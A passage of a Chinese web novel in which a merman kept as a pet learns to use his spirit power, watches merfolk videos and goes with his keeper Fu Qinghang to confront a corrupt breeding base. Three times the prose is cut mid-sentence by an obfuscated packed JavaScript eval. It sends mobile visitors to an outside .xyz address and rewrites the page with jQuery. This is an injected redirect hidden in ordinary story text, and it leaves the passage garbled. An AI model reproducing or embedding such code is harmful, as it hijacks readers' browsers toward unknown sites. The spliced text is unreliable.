正是最好的巩固精神力的时候。 就让我来—— 虞淮辞信心满满的握住傅青桁指尖以后,嘴角扬起的弧度缓缓僵硬。 不、不对! ……小人鱼要怎么使用灵力? 人鱼繁育基地也没教啊! 不是、这么重要的事你们都不开课的吗? 要你们何用! 现在上网搜教程还来得及吗……? 傅青桁把小桌椅放进客厅的展柜,发觉小人鱼的不对,他动了动指尖,“怎么了?” 小人鱼像是一个定格了的小手办一样,眼睛都不眨一下。 ‘咔咔’ 虞淮辞一卡一顿的转过头,有些事说出来你可能不信…… “缺水了吗?”傅青桁喃喃道,可能是离开水太久了,他紧忙上楼。 小人鱼的鱼缸和食物一样是必需品。 傅青桁三步并做两步把小人鱼带回书房,办公桌边有他新买的鱼缸。 避免小人鱼在里面睡的憋屈,伸展不开,鱼缸几乎占据了他半张办公桌,即使里面有一些海底造景,也丝毫不影响小人鱼在里面游动。 虞淮辞还在思考灵力释放的可能性,濡湿的感觉没入尾尖。 人鱼是亲水的,泡在温度适中的水中,感觉浑身都舒展开了。 虞淮辞双手搭在鱼缸边缘,下巴抵在自己手背上沉思,垂在水下的鱼尾缓慢轻摆,完全展开的尾尖像是柔软的上等丝绸在水中绽开。 唉。 使用灵力太难了…… 虞淮辞抬起眼眸,望向没有关机的电脑,再落到前面的虚拟显示屏上。 要是真能有个教程就好了。 可很显然,这个问题在网上也问不出个答案。 虞淮辞想,万事还得靠自己。 傅青桁在一旁安静的看着小人鱼怔怔的望向电脑出神。 这是…… 怎么了? 相比于之前活力满满的样子,小人鱼现在像是没有精气神一样,尾巴都耸搭了下来。 傅青桁:“不开心?” 他想了想,伸手拨弄起鱼缸里的造景,看起来是造景,实则下单时商家宣传的是玩具,打开以后会有假的玩具鱼游动,据说,小人鱼都拒绝不了会游动的玩具。 只是……玩具的假鱼游动起来,但银白色的小人鱼没有一点反应,甚至连眼神都没有丝毫波动,目不转睛的盯着电脑屏幕。 傅青桁看了眼电脑,转头曲起指尖将靠近小人鱼尾巴的玩具鱼弹开,顺手关闭了小人鱼不感兴趣的玩具。 。 研究表明,小人鱼的智商与正常人类一样,甚至高于人类,他们不与人类交流的原因,猜测可能是拒绝或者根本懒得与人类沟通,从小人鱼能对人类语言做出反应这一点就能看出来。 他想,他懂了 虞淮辞完全陷入了自己的思绪当中,在傅青桁伸手过来时,握住他的手指,叹了口气,怎么办啊傅青桁。 小人鱼为难。 察觉到小人鱼有些低落的情绪,傅青桁指腹轻蹭他的脑袋,像是在安慰。 虞淮辞眯了眯眼睛,要是能使用灵力就好了。 念头闪过,莹白色的光晕猝不及防掠过,虞淮辞瞬间感觉铺天盖地的疲倦袭来,像是一张编制好的大网将他笼罩在内。 诶? 虞淮辞眼皮很沉,但这一次清晰感觉到了力量的抽离。 唔…… 他刚才是不是成功了? 虞淮辞呆呆的眨眼睛,怪不得昨天他一开始好好的,一片莫名的白光之后就困的眼皮都睁不开了。 合着是使用灵力之后累的。 无师自通,他简直是个天才! 这个认知让虞淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434086|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞眼底涌出惊喜雀跃,只是疲惫感越发的重。 虞淮辞打了个哈切,强撑着睁开眼,实则已经累的连尾巴都不想动了。 他拍了拍傅青桁手背,“呜……” 你等我、等我先缓一会,等我有力气了再继续帮你治疗…… 傅青桁没读懂小人鱼的意思,不过见他突然释放灵力,也能猜到他现在这样是力量溢散后的倦怠。 他掌心托着小人鱼到鱼缸里的床上,将手抽出前犹豫了一下,把后面造景的无用玩具取了出来。 傅青桁调整了屋内灯光,他轻声说:“休息一会。” ‘咕噜’ ‘咕噜……’ 小人鱼张了张嘴飘出气泡,他随手挥了挥,“呜、” 好。 灵力耗尽的累和真正意义上的疲倦好像还有点差别,随着灵力缓慢增长恢复,身体也变得没那么沉重。 虞淮辞时不时感应一下灵力,渐渐地也自己摸出了点门道了。 人鱼与生俱来的灵力不是说说而已,随心随意调动大概就是这种感觉。 虞淮辞在鱼缸里反复感受灵力的感觉,余光瞥见电脑屏幕闪动,傅青桁点开了跳动的邮件。 发件人——人鱼繁育基地。 虞淮辞:“?” 他跑出来被发现了?! 虞淮辞转身就要游上来,就见屏幕上光标下滑,是一串长长的账单。 不是——! 人鱼繁育基地疯了是不是!? 昨天的损失居然让傅青桁赔? 要不是傅青桁挡住了那只掉落的虫族,人鱼繁育基地连转移人鱼的机会都没有,损失肯定比现在更大。 结果他们现在在干什么? 简直是毫无道理的在针对傅青桁。 ‘啪!’ 虞淮辞攥拳拍打水面,凭、什、么?! 太欺负人了! 小人鱼气愤地冲着屏幕指指点点。 面对三页多的账单,傅青桁倒是神色如常。 ——‘滴’ 呼叫麦里传来电子提示音:“您的快递已经成功投递,有任何问题请联系快递单上通讯号。” 傅青桁停下翻动邮件的动作,“我下楼去拿个东西。” 他说起身说:“等我一下,很快。” “呜、”虞淮辞冲他挥挥手。 去吧去吧。 办公室的门关上,虞淮辞收敛思绪试图忽略人鱼繁育基地的破事,继续感受灵力,但屏幕上的邮件大咧咧的摆在那。 唔…… 嗯、 嗯? 虞淮辞猝然眯起眼睛盯着那则邮件。 邮件一动不动,小人鱼定定看着,牙关紧咬——一直在挑衅! 太猖狂了! 虞淮辞尾巴一甩,直接窜出水面,手撑着鱼缸边缘下滑。 好在鱼缸不是很深,只是在长宽上放大。 虞淮辞松手的时候,落地前尾巴撑了一下,稳稳地掉在了办公桌上。 面对近在咫尺的键盘,虞淮辞摩拳擦掌,本想着乱敲一通,偷偷摸摸骂他们两句,结果手在键盘上一拍,下面自动弹出表情包。 虞淮辞挑了挑眉,正好。 他一顿乱按,带有硕大‘滚’字的表情包在回件里打了连串。 最后攥拳敲在回车键上,邮件回复成功。 虞淮辞心满意足的拍拍手,转身扒拉桌上的绿植借力往鱼缸边缘够。 ‘咔哒’ 恰好办公室的门打开,虞淮辞刚碰到鱼缸边缘的手一滑。 ‘滋啦’ 他身形往下一坠,带下片叶子,匆忙伸手把自己挂在了鱼缸壁上……外壁。 虞淮辞:“!!!” 傅青桁拿着消毒好的盒子进来,飘落的绿叶边是蔓延至键盘的还没干透的水痕,再向前,水痕之后是悬在鱼缸上练臂力的银白色小人鱼。 虞淮辞:“呜……” 救、救救。 5. 第 5 章 傅青桁瞥了一眼显示已回复的邮件,以及乱码和表情包,伸出手,掌心托着小人鱼向上。 虞淮辞顺势没入水中,“呼……” 好险,差点掉下去。 傅青桁说:“这样很危险。下次不……” 虞淮辞仰起头,老实巴交的望向他等着下文。 傅青桁顿了顿,“下次不……要不吱声,记得喊我帮忙。” “呜!” 好的! 下次一定! ——‘叩叩’ 邮箱再次闪烁,收到回信但账户上没有收到钱款汇入的人鱼繁育基地,不解的发来一个‘?’ 虞淮辞‘蹭’的一下窜出水面,还敢挑衅! 傅青桁一手护住试图往外跳的小人鱼,一手随意在键盘上敲打,一个滚字随着数个带‘滚’字的表情包回了过去。 不等人鱼繁育基地有什么反应,傅青桁先一步把对方账号拉黑。 虞淮辞见傅青桁一连串流畅操作,赞同的点点头,就该这么干! 要饭就拿个碗上街啊,还发邮件,搞什么赛博乞讨,简直有毛病。 听话,咱不花那冤枉钱。 更何况是给人鱼繁育基地那糟地方,钱扔水里听响都不给他们。 傅青桁:“来看看这个。” 他划开刚拿上来的盒子。 正方形的盒子内置软垫,凹槽里面卡着一个像是运动手表的东西。 傅青桁把它拿出来,拆掉两边固定的表带,只留下一个光秃秃的显示盘,开机后,显示盘投射虚影在前面,界面看起来和傅青桁电脑很像。 “刚才你一直盯着电脑看。正常尺寸的电脑太大了不适合你,一直仰着头会头晕,这款便携通讯仪跟电脑的功能差不多。”傅青桁边解释着这东西的用途,边将通讯仪表盘卡在鱼缸上。 虞淮辞看看通讯仪形便携电脑,再看看傅青桁。 诶? 见他没有反应,傅青桁顿了顿,一脸认真的讲解:“防水的。你可以用。” 刚才傅青桁出门,是去给他拿新买的电脑了? “呜!!!”回过神来的虞淮辞激动地跃出水面。 傅青桁!!! 你也太好了吧!!! “小心。”傅青桁话出口的同时,已经把小人鱼接到了手里。 看得出来,小人鱼很喜欢这个。 傅青桁说:“网络我切的内线,已经链接好了。” 虞淮辞抱着傅青桁的手蹭蹭,“呜……” 好。 “去熟悉一下,拿着玩吧。”傅青桁把小电脑往下按了些,“先这样挂着,等会我给你买个架子。” 玩起来能更方便点。 “呜!” 嗯! 虞淮辞轻轻应声,潜下去捡起装饰用的半边扇贝壳后又浮出水面,把它翻了个面,凹陷处朝上,倒掉里面的水,就能飘在水面上。 虞淮辞往下按了按,贝壳不稳的晃动,但没有被压下去。 他坐在上面,大半鱼尾垂落在外面,轻轻波动水流,还能调整位置。 鱼缸里的水没有模拟海浪,水面只要没有外力就一直是平静的。 换而言之,只要虞淮辞不动,贝壳船也会一直待在同一个地方。 非常稳定! 见小人鱼自己做好,傅青桁转头把注意力放回电脑上,依次点开邮件。 虞淮辞对这个世界了解甚微,甚至可以说他在这个世界最熟悉的就是傅青桁,除了傅青桁之外 ,与傅青桁无关的一切他都不知道。 之前一直想上网搜信息是没招了的情况下气笑了。 现在真的有了一台可以联网且浏览不留痕的安全电脑,他一时间反而不知道该干什么。 随意翻了几个APP,屏幕的画面定格在视频软件上。 星际时代,信息ID代替了身份证信息,ID与个人深度绑定,即便是搜索的网址,点进去都是默认登录的,乱点没有任何一个APP拦截,应该是傅青桁提前弄好的。 虞淮辞想了想,点进几个小人鱼相关的视频。 看看同类的视频很合理吧。 就是…… 视频里的人鱼全部都安安静静,离开拍摄的镜头老远。 到现在为止,虞淮辞依旧不知道人鱼的叫声是怎么样的。 视频播放结束后自动跳转下一个视频,也是和小人鱼相关的。 虞淮辞就当学习了。 视频大部分比较安静,因为里面的小人鱼不出声,偶尔几个有声的还都是配的背景音乐。 傅青桁那边只有时不时敲击键盘的声音。 虞淮辞曲起手臂搭在鱼缸边沿,歪头枕在上面,视频有些无聊看的他都快睡着了。 直到自动下滑的视频响起科普的声音。 【关于小人鱼的声音,你真的了解吗?】 诶? 要是科普视频聊这个,他可就不困了。 都是知识点。 【各个地区人鱼生长环境不同,水质不同性格不同,叫声也一样。帝国的人鱼因为帝国对小人鱼群体的重视,多互动,小人鱼感知到情绪也会给予回应,多会发出类似‘咿呀’的声音。联邦只的当人鱼是治疗工具,按能力分类,饲养员也不会过多关注,这就导致联邦的小人鱼相对安静,但据饲养员捕捉到的记录,联邦小人鱼的叫声和帝国的小人鱼差不多。野生小人鱼叫声尖锐刺耳带有很强的杀伤力,碰到的话最好不要靠近,联系人鱼繁育基地……】 听着前面的话,虞淮辞逐字逐句的学习,看到后面,虞淮辞沉默,好好好,图穷匕见了是吧。 又一个人鱼繁育基地见缝插针的广告。 人鱼繁育基地到底有多想要野生小人鱼啊。 基地里养了那么多还不够,恨不得昭告全世界——遇到野生小人鱼全都送到我这里来。 太贪了。 视频后面又说了些什么,虞淮辞已经听不下去了,手动划走。 人鱼繁育基地的广告,一律归为诈骗。 “咿呀——!” 下一条视频刚一露头,一条蓝色的小人鱼就出现在了视频中。 哦? 虞淮辞瞳孔微张,这还是他第一次听到小人鱼的叫声。 视频开头似乎是抓拍的,除了这一声之后,蓝色小人鱼也没再发出声音,反倒是饲养员露脸,“大家知道小人鱼的每一声不同的音调下所表达的意思吗?” 饲养员:“三分钟带你读懂小人鱼的独特语言。” “我又到了几个快递,下去取一下。”快递在运输过程中难免会沾上细菌,傅青桁不太想让小人鱼接触那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434087|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,之前的快递都是消过毒之后拿上来的,外层的包装都留在了楼下。 “呜、”虞淮辞听着视频里的饲养员讲课,慢半拍的理解了傅青桁的话,“嗯?” 又有快递吗? 傅青桁垂手指尖摸了摸小人鱼脑袋,“买的东西比较多。” 很多东西都不是一家店铺能够买齐的,发货时间不同,配送时间也都零零散散的。 这次下去拆的快递比较多,傅青桁拆了一包适口性不错的小人鱼专属零食,安置好以后才下楼。 虞淮辞刚吃完海鲜大餐没多久,加工成干的零食并没有多大的吸引力,他回过头来,继续看视频。 饲养员:“‘咿呀~’,这个叫声,是饿了的意思。” 虞淮辞动了动唇,重复着呢喃:“咿呀~?” 饲养员又说:“‘咿呀!’这是生气的意思。” 虞淮辞:“???” 这两个的区别是…… 没有区别。 “咿呀?”虞淮辞甚至还模拟这个音调,很难说服自己这是两个意思啊。 视频还在继续,虞淮辞从一开始的不相信重复读,到后面学的稀里糊涂。 ‘呀’‘啊’‘喔’‘咿呀’‘嘿哈’‘哇哦’了半天,虞淮辞以手扶额。 随着视频播放完毕,虞淮辞也陷入了沉思。 我在干什么? 他一个人鱼,要靠联邦人类的语言分析来学习人鱼语。 嘶—— 这对吗这?! 简直是倒反天罡! 叽里咕噜好像在念咒。 好吧。 虞淮辞现在无比清晰的意识到,掌握一门外语是多么的重要。 感觉星际的人也不是太确定小人鱼是怎么叫的,要不我随便发出什么声音算了……感觉他们都会相信这是正常小人鱼的叫声的。 搞不定各个声音的具体含义,虞淮辞向上翻了翻视频,想看看后面有没有更靠谱一点的外语教学。 乱七八糟的视频晃得眼晕,虞淮辞视线不经意间向门外一瞥,就见傅青桁不知什么时候,抱着一摞可降解箱子站在门口。 想到刚才自己无意识跟练教学视频的声音。 虞淮辞:“……” 傅青桁是什么时候回来的。 呃、那个。 都是小人鱼了,叫声不寻常一点也很合理吧。 咳咳、 是……合理的,对吧? 越想心里越没底。 傅青桁对上小人鱼那有些心虚尴尬迟疑的眼神,默默把视线转向门口。 但小人鱼久久没有反应,似乎在等待一个答案。 思忖半晌,傅青桁佯装随意的开口:“刚才屋里好像什么声音都没有。” 虞淮辞:“?” 哇塞。 真是一点都不刻意。 屋内陷入死一般的沉默。 突然,虞淮辞灵光一闪,抬手指向‘呜哩哇啦’声音不停的视频,“呜!” 傅青桁一拍手,紧接着开口,“嗯,对。我刚才听着好像也是视频里传出来的声音。” 小人鱼一本正色的点了点头,手搭在小电脑屏幕上。 嗯,就是这样没错! 这个罪魁祸首已经有点吵到我的耳朵了,让我来把它关掉。 6. 第 6 章 随着虞淮辞把正在播放中的视频关闭,屋内此起彼伏的声音也就此消失。 小人鱼叫声解读教程视频结束了它罪恶的一生。 虞淮辞呼了口气,顺手把设备息屏。 人在尴尬的时候总会显的很忙,虞淮辞没想起来鱼干是什么时候拿起来的,已经咬了一口。 ‘咔嚓。’ 唔…… 口感很脆,有点像是在吃薯片,但是鱼肉烘干的。 傅青桁边拆快递盒子边说:“下午我打算去人鱼繁育基地一趟,你和我一起去吗?” “呜?”虞淮辞现在听到‘人鱼繁育基地’这个地名都快应激了。 “啊呜!”不去! 银白色的小人鱼声音落下的同时在鱼缸边沿向前一扑。 傅青桁时刻盯着他的动作,身形未动,手已经抵在了玻璃鱼缸上,“怎么了?” 小人鱼跳缸,是在表达要一起去的意思吗? “呜!”虞淮辞抓住傅青桁的袖口,拼命摇头。 不一起、不行、不去! 人鱼繁育基地可不是什么好地方,在虞淮辞看来,那简直就是个魔窟。 傅青桁要是去了,指不定的脱一层皮。 毕竟……找傅青桁要维修费的邮件细节还历历在目,进去了肯定会被坑的更多。 所以,他不去,傅青桁最好也不要去。 傅青桁读懂了小人鱼的紧张,安抚的解释道:“我是去……” “呜!”虞淮辞目光坚定。 去什么都不行! 傅青桁:“……找他们麻烦的。” “?”虞淮辞眼尾一挑,抬手,十分郑重的拍在了傅青桁掌心。 那请务必带上我。 “看看这几个小鱼缸,喜欢哪个?”傅青桁把拆开的小鱼缸并排摆放好。 方便小人鱼挑选。 便携式人鱼缸多用来路上转移小人鱼,有很多不同的款式和隔断,网上比较热门的以及店家强推的款式,青桁各种都都买了。 衣服合不合适要试过才知道,便携式人鱼缸也是。 全透明的鱼缸让虞淮辞看花了眼,能看出有的里面做了上下分层,还有旋转楼梯似的东西反光,花里胡哨的。 视线扫过,虞淮辞的目光最后定格在铺着五颜六色石头的盒子,“呜!” 就这个了! “这个……?”傅青桁顺着小人鱼手指的方向拿起盒子,就发现下面贴着一张纸条:赠品。 虞淮辞点点头,“呀、” 就是这个。 傅青桁抓了一把里面的石子,打磨过的天然石头没什么棱角,圆润的形状不会勾到小人鱼的尾巴,“好。” 既然小人鱼喜欢,那就用这个。 傅青桁把小人鱼放回桌面鱼缸说:“我去洗一下,等我弄好,我们就出发。” 虞淮辞:“呜!” 嗯! --- 雨后的下午,太阳西斜。 室外温度正好,空气中还弥漫着雨水冲刷过的淡淡青草味。 傅青桁单手抱着便携式人鱼缸,缓步走进人鱼繁育基地大楼。 即便是在科技飞速发展的时代,破损的场馆也无法在一天之内修复到受损之前。 是以,今天的人鱼繁育基地是不对外开放的。 人鱼繁育基地看似是一个官方场馆,实则是掌握在联邦高层人的手中,算得上是私人敛财室。 里面的工作人员要么是贵族子弟进来混身份,要么是高层手底下信得过的人过来盯梢。 不仅仅是简单的负责售卖饲养小人鱼那么简单。 进入人鱼繁育基地的正确流程,是先在线上预约登记,确认有可以进入的名额以后,才可以在预约日期当天,在安检口核查身份进去。 但经过昨天虫族的偷袭,安检口还是一片坍塌的废墟。 “烦死了,让我做这种事,真当我是打杂的了?凭什么阿莱他们几个不来干活。”还没靠近,就听见了工作人员抱怨的声音。 同事声音淡淡:“闭嘴伊凡。” 伊凡愤愤的声音紧跟着响起,声调比刚才还要高上不少,“奥博特你有毛病吗?就知道让我闭嘴!昨天我就应该跟傅青桁说清楚了赔钱,现在好了,邮件不回,钱不打,账号还给我拉黑了,你等我找到傅家登门要钱啊?要不是你拦着不让我说,我早把钱拿到手了。” 如果只是找傅青桁个人要赔偿那就是一件微不足道的小事,但要是牵扯上傅家,傅元帅也不是吃素的,即使知道傅青桁在傅家地位不高,可涉及到脸面的事,傅家怎么可能轻轻揭过。 而且……人鱼繁育基地有专门的维修基金,伊凡要钱这事也不敢闹大。 傅青桁不想得罪他的家族,就不会主动把这件事曝光出去。 伊凡正好可以悄摸的自己赚点,就当是亲身经历这场混乱后的精神损失费了。 结果现在搞成这样,真是倒霉的要命。 伊凡越想越气,正好看见外面有影子打进来,语气不善开口,“谁啊?今天人鱼繁育基地不开门,没看官网通知吗?” 傅青桁踩着废墟似的一地狼藉走近,“我是来……” 伊凡正烦躁呢,此刻看见罪魁祸首出现在自己面前,火更是蹭蹭往上涨,“去去去,我管你来干什么的。有那功夫先把钱赔了!” “呜!” 凭什么! 银色小人鱼冲他呲牙。 你们都该给傅青桁医疗费!医疗费不给还反倒要收钱,没有这样的道理! “——你手里拿的是什么?!” 伊凡的声调骤然拔高,目光灼灼的盯着傅青桁手里的小人鱼满是不敢置信。 奥博特也蹙起眉头,上前道:“傅先生,这条小人鱼……” “你是来送人鱼的?”伊凡语气狐疑。 他定睛看着陡然笑出声:“不是吧?这不是那条尾巴残疾的,废物就是废物,要不是……我还真想把这条残废人鱼卖给你了,废物和残废你俩还挺搭。可惜啊、人鱼既然送回来了就别想什么身份登记,直接留下吧。残疾人鱼,死在池子里都轮不上卖给你。” 虞淮辞挑了挑眉,手在鱼缸底摸索。 ‘嗖——’ “啪!” 一个黑点在鱼缸里飞出正中伊凡脑袋。 你才残疾! 你脑袋残疾! 虞淮辞掂着手里的小石子,嗯,完美的三分球。 不愧是他一眼就相中的便携式鱼缸,下面装饰用的五彩石可真是太好用了。 “啊!”伊凡被打了个正着,“什么东西?!傅青桁你敢打我!” 虞淮辞:“???” 真是两眼一闭就是污蔑啊。 什么事都往傅青桁身上安,要不是我看着呢,都得怀疑自己刚才一石头砸你眼睛上了。 突然就瞎掉。 虞淮辞拽了拽傅青桁的衣服,“啊!” 你快骂他啊,可急死鱼了。 傅青桁轻拍小人鱼脑袋,“别急。” 虞淮辞急的恨不得撒把药粉在伊凡脸上让他陷入婴儿般的睡眠,奈何手里能用的就只有石头。 索性在鱼缸里翻身,他又再次扬起尾巴,甩了两颗出去。 手扔石头才多大力,小人鱼的力量都在尾巴上呢。 比不得海妖那种一尾巴杀人的力量,但普通人用脑袋硬生生扛这一下,最低也得是个脑震荡。 伊凡刚才猝不及防被打了一下,现在有了防备,注意到是小人鱼在甩尾巴,侧身躲开,“靠!傅青桁你找死!还有你这条不知死活的臭鱼,我把你打碎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434088|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂——” ‘啪’ 又一块石头,带着淡盐水在伊凡眉心留下痕迹。 紧随其后又是一声碰撞的闷响。 ‘砰’ 看着被打飞出去的人,奥博特惊呼:“伊凡?!” 虞淮辞正给伊凡挑下一颗石头呢,听到这声顿了一下,仰起头,却见傅青桁的手遮在前面。 视线之内,除了傅青桁掌心的纹路什么也看不见。 “呜?”虞淮辞浮出水面,伸手在傅青桁手指上借力,视线下移,伊凡躺在地上一动不动。 发生什么事了? 虞淮辞眨眨眼睛,我石头还没丢呢。 碰瓷是不是? 银白色小人鱼扭头望向傅青桁,你…… 傅青桁指尖轻擦过小人鱼的长发,“真厉害,次次都打中了。” 虞淮辞:“……?” 昂? 这不对! 伊凡已经失去了意识,仰躺在地上,呕出的血染红了衣服,傅青桁不着痕迹的上前帮地上的伊凡翻了个身。 以免血流出来吓到小人鱼。 傅青桁没理会奥博特难看的脸色,迎着他举起的粒子枪上前,礼貌说:“我是来给小人鱼办身份信息的,可以坐下来详谈吗?” 奥博特举着枪的手在颤抖,到底是没敢开枪,抓紧用治疗仪给伊凡止血,瞥向那条银白色的小人鱼感觉很眼熟,“傅先生,这条小人鱼好像是我们基地的吧?” 说的是疑问的话,语气却笃定。 傅青桁并没有理会他的问题,而是递上一份纸质文件。 奥博特扯了扯嘴角,“傅先生,已经星际时代怎么还在用纸质文件,考古吗?” 傅青桁不容置喙道:“小人鱼的购买报告。” 奥博特冷脸,“这不可能。”说话间翻开报告,心里却是已经笃定傅青桁造假购买记录头人鱼。 但看清楚文件上的内容以后,瞳孔却是猛的一缩。 “虚报人鱼数量,黑市高价倒卖,收礼转送名额,按关系分配人鱼……”傅青桁递过去的文件内容都是他看过的,语气淡漠的像是没有感情的机器,轻描淡写的说着随意单拎出来一件都会被上面下专人彻查的罪名。 文件上标注清晰明确,甚至连什么时间以什么方式入账都写的一清二楚。 这种东西,用纸质文件最方便。 线上不留痕,方便私下交易。 傅青桁说:“我想,这份报告足够换一份小人鱼的身份信息。” “你——”奥博特冷淡的情绪有了明显变化,两颊紧绷,牙齿‘咯咯’作响,心里跟被点燃的炮仗一样,偏偏傅青桁手里有他的把柄,拿捏着让他不敢发作。 沉默的对峙中,奥博特的面色一点点沉了下来,他算的上是这里和傅青桁接触时间最久的人。 眼下,他明显感觉到此刻的傅青桁,和以往他所见到的傅青桁非常不一样。 奥博特捻着文件的指尖泛白,死死压着,把文件翻到最后一页,身份信息确认上,翻页签字都格外用力,“一晚上不见,傅先生变了好多。” 语气熟稔的像是老友叙旧,仔细听起来,更多的是咬牙切齿。 签上字,他就被迫和傅青桁绑在了一条线上,不想影响到自己的未来和家族,关于这条银白色小人鱼来去,就得烂在肚子里面。 “总要换个活法。”傅青桁神色漠然的抽出奥博特压着的文件,“感谢您的配合。” 奥博特勾起礼貌的嘴角,脸上带笑,眼底却仍是一片森冷的寒意,“真是,客气了。祝您和您的小人鱼,往后生活一切顺利。” 虞淮辞轻抬下颚,尾尖卷起傅青桁的手指,“呜!” 我们以后的生活当然会一切顺利。 少阴阳怪气了。 哼。 7. 第 7 章 没有了继续就这件事纠缠下去的意思,奥博特的手快速手腕上的通讯器敲击,公事公办的语气说:“人鱼身份信息已经录入系统,跟您的身份id绑定,有任何问题可以提供饲养员的身份id登陆官网寻求帮助,有专员24小时在线,可以为您答疑解惑。” 傅青桁朝着伊凡的方向轻抬下颚,“这个……” 虞淮辞看了一眼,伊凡背影睡的很安详。 奥博特深吸一口气,心说今天这事真是没完没了,还得他来收拾烂摊子,“交给我来处理,我向您保证,今天的一切不会有任何信息泄露。” 贵族出身的人,生来就背负着家族使命和荣光,即使傅青桁不提,奥博特也会揽下这一切。 让傅青桁走正规渠道拿到人鱼,他没办法跟上面交代。但今天这条人鱼要是不能让傅青桁以正规手段带走,那份资料里的内容,他没办法跟家族交代。 只能走一步看一步了。 傅青桁淡淡道:“嗯。” 奥博特微不可查的松了口气,“傅先生慢走。” 见事情落下帷幕,在傅青桁转身的同时,银白色的小人鱼重新缩回了便携式鱼缸里。 虞淮辞靠在鱼缸一侧,身上放了几颗小石子,摊开的尾尖在角落石碓上漫不经心的轻晃。 思索间不免有些好奇,傅青桁是什么时候收集到的那些资料? 能仅凭文件文字就能拿捏的那两个人老实办事,想来也不是什么简单的,网上一搜就能查到的东西。 傅青桁:“在想什么?” 虞淮辞身上一轻,搭在上面的小石头被傅青桁挪开,推到一侧堆积。 “呜、”虞淮辞换了个方向,在他掌心找了个舒服的姿势靠着。 没有想什么。 “累了?”傅青桁想,可能是今天的运动量太大,“那我们回家?” 虞淮辞听了前半句摇头到一半,傅青桁的下半句出来,他紧急调转脑袋方向,当空划了个半圆后点点头,“啊!” 走着! 回家回家。 --- 别墅书房内。 办公桌上堆满的快递还没有去处。 傅青桁到家,没急着把小人鱼从便携式鱼缸里捞出来,而是将便携式鱼缸暂时安置在了办公桌上。 “我把鱼缸重新装一下。等装好再进去。”傅青桁说着,把原本鱼缸里的水引出来。 虞淮辞趴在便携式鱼缸边缘看他忙活,桌子上有几个长宽高都各不相同的透明长方体,光看这些分辨不出来用处,但见傅青桁把几个长方体调整位置,贴在了原本的鱼缸上。 虞淮辞歪了下头,“呜?” 鱼缸外置拓展吗。 原本占地面积就很大的鱼缸,外置零件这么一加上,留给傅青桁办公的位置就更少了。 而且,鱼缸与浴缸之间有高低差,傅青桁用半透明的滚筒滑梯连接,最后一个滑梯是到桌面上。 傅青桁展开柔软的毯子铺在桌子上,又在摊子上铺了厚实一层沙子,像是一个简单的小沙滩。 小人鱼天性就是活泼好动的,趁人不注意跳缸是常有的事。 这样调整以后,小人鱼即使从上面掉下来,也有毯子和沙子接住。 严肃死板的办公桌多了这一片造景,像是小的沙盘游戏,整体看起来不太和谐,却显得格外活跃。 傅青桁看着还算满意,消毒过的新鱼缸被模拟阳光暴晒过,没有一丝消毒的味道。 他最后调整了一下滑梯的角度,往里加了水。 鱼缸里的造景绿植之类的小造景都要在加水之后,顺序弄反的话,不固定的造景会被水冲歪,整理起来反倒更麻烦。 现在鱼缸里都是有点重量的珊瑚和假礁石,沉底不会被冲走。 傅青桁忙忙碌碌半晌,看着桌面上的鱼缸顿了顿,“会不会有些……” 虞淮辞眼见着傅青桁摞起了像是城堡一样的鱼缸,目光赞赏,“咿呀!” 当然不会! 不要怀疑,更不要质疑自己。 你简直是个建筑天才! 不,你就是天才本身,不拘泥于任何行业! 这也太棒了! 虞淮辞毫不吝啬夸奖,也不管傅青桁能不能听的懂,情绪价值给的非常足。 夸是夸,但也不没有夸大其词,傅青桁弄的就是很好。 傅青桁看着小人鱼亮晶晶的眼睛,显然,鱼缸的配置得到了小人鱼的赞许,“造景有什么喜欢的吗?” 虞淮辞想了想,朝着傅青桁伸出手,“呜!” 让我来让我来! 一直待在鱼缸里看着,虞淮辞倍感无聊却因为帮不上忙只能闲着,放个小造景什么的就很简单。 “要进去?”傅青桁掌心向上,将小人鱼托起来。 虞淮辞就着傅青桁的手滑进大鱼缸,在里面翻了个身,指了指他一眼就看上的海藻,“啊!” 来吧! “这个?”傅青桁拿起来给他。 银白色的小人鱼抱着比自己还高的海藻游到下面,下端有重物,轻轻放在喜欢的位置就行。 虞淮辞看着这株上端竖着飘动的海藻,莫名有一种,给装修房子布置软装的感觉。 他弯了弯眼睛,笑着浮出水面,“呜、” 继续。 傅青桁看出小人鱼想自己摆的意思,就在旁边,顺着小人鱼的想法递东西。 虞淮辞长距离游的可能不太好,但就鱼缸大小,尾巴轻轻一摆,身体一动不动都能飘到另一边,游起来还是满轻松的。 飘逸的尾尖在翻身时半遮掩擦过银白色的鱼尾。 小人鱼抱着各色的花草认真寻找着合适的位置,有时放好以后还会往后游一点距离观察。 